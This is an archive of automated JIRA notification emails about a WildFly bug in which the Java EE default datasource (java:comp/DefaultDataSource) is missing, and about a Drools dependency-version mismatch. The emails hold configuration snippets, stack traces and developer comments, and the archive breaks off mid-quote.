>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>            Assignee: Scott Marlow
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep  9 12:05:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 12:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.16054.1378742703473@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802807#comment-12802807 ] 

Scott Marlow edited comment on WFLY-2027 at 9/9/13 12:04 PM:
-------------------------------------------------------------

Wildfly does not have a java:comp/DefaultDataSource.  For the EE 7 platform spec, I have this as "EE.5.20 Default Data Source".

If we support a DefaultDataSource at the EE level, we will need to look at whether the jpa default-datasource can coexist with the EE level DefaultDataSource setting.  
                
      was (Author: smarlow):
    Wildfly does not have a java:comp/DefaultDataSource.  Also worth including [https://blogs.oracle.com/arungupta/entry/default_datasource_in_java_ee] that you mentioned in the irc discussion.

For the EE 7 platform spec, I have this as "EE.5.20 Default Data Source".

                  
> Default DataSource is not working
> ---------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>            Assignee: Scott Marlow
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep  9 12:13:04 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Mon, 9 Sep 2013 12:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-207) Transitive dependencies are
 not in sync with EAP: scannotation and xmlschema-core
In-Reply-To: <JIRA.12497599.1375191750000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497599.1375191750000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497599.1375191750000.16063.1378743184110@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-207?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802810#comment-12802810 ] 

Michael Biarnes Kiefer commented on DROOLS-207:
-----------------------------------------------

in my understanding versions of the applied kie-wb-eap6.1.war are applied and will overwrite the versions supplied by EAP

                
> Transitive dependencies are not in sync with EAP: scannotation and xmlschema-core
> ---------------------------------------------------------------------------------
>
>                 Key: DROOLS-207
>                 URL: https://issues.jboss.org/browse/DROOLS-207
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Geoffrey De Smet
>            Assignee: Michael Biarnes Kiefer
>            Priority: Minor
>
> > EAP 6.1 --> kie-wb.war
> > ---------------------------------------------------------  
> > EAP has scannotation-1.0.2-redhat-2.jar --> kie-wb has 1.0.3
> > EAP has xmlschema-core-2.0.2-redhat-2.jar --> kie-wb has 2.0.3
> In theory this should not be able to happen.
> A dependency:tree on kie-wb show this:
> {code}
> [INFO] org.kie:kie-wb-webapp:war:6.1.0-SNAPSHOT
> ...
> [INFO] +- org.jbpm:jbpm-designer-backend:jar:6.1.0-SNAPSHOT:compile
> ...
> [INFO] |  +- org.jbpm:jbpm-workitems:jar:6.1.0-SNAPSHOT:compile (version managed from 6.1.0-SNAPSHOT)
> ...
> [INFO] |  |  \- org.apache.ws.xmlschema:xmlschema-core:jar:2.0.3:compile
> {code}
> and also
> {code}
> [INFO] org.kie:kie-wb-distribution-wars:pom:6.1.0-SNAPSHOT
> ...
> [INFO] +- org.jboss.resteasy:resteasy-jaxrs:jar:2.3.6.Final:compile
> [INFO] |  +- org.scannotation:scannotation:jar:1.0.3:compile
> {code}
> Investigate if any of those artifacts aren't messing with the transitive dependency version by overwriting their version. It's also possible that the bug is on the side of EAP (if they overwrite one of their transitive dependencies with a lower version).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 12:35:03 2013
From: jira-events at lists.jboss.org (Lincoln Baxter III (JIRA))
Date: Mon, 9 Sep 2013 12:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.16099.1378744503555@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802816#comment-12802816 ] 

Lincoln Baxter III commented on WFLY-2027:
------------------------------------------

Not question the obvious, but since this is in the spec, we will need to include it, right? That's what I would assume but maybe I am mis-interpreting your response as an "if" when in fact it is a "how" :)
                
> Default DataSource is not working
> ---------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>            Assignee: Scott Marlow
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep  9 12:45:05 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 12:45:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.16119.1378745105258@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow updated WFLY-2027:
-------------------------------

    Forum Reference: http://lists.jboss.org/pipermail/wildfly-dev/2013-September/000778.html

    
> Default DataSource is not working
> ---------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>            Assignee: Scott Marlow
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep  9 12:53:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 9 Sep 2013 12:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.16155.1378745583707@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802824#comment-12802824 ] 

Scott Marlow commented on WFLY-2027:
------------------------------------

If the discussion on [http://lists.jboss.org/pipermail/wildfly-dev/2013-September/000778.html] results in an EE level default datasource, we should consider changing the JPA configuration as follows:

{quote}
<jpa default-datasource="java:comp/DefaultDataSource" default-extended-persistence-inheritance="DEEP"/>
{quote}

or

{quote}
<jpa default-datasource="java:jboss/datasources/DefaultDataSource" default-extended-persistence-inheritance="DEEP"/>
{quote}

We also need to coordinate so that we don't break OGM.
                
> Default DataSource is not working
> ---------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>            Assignee: Scott Marlow
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
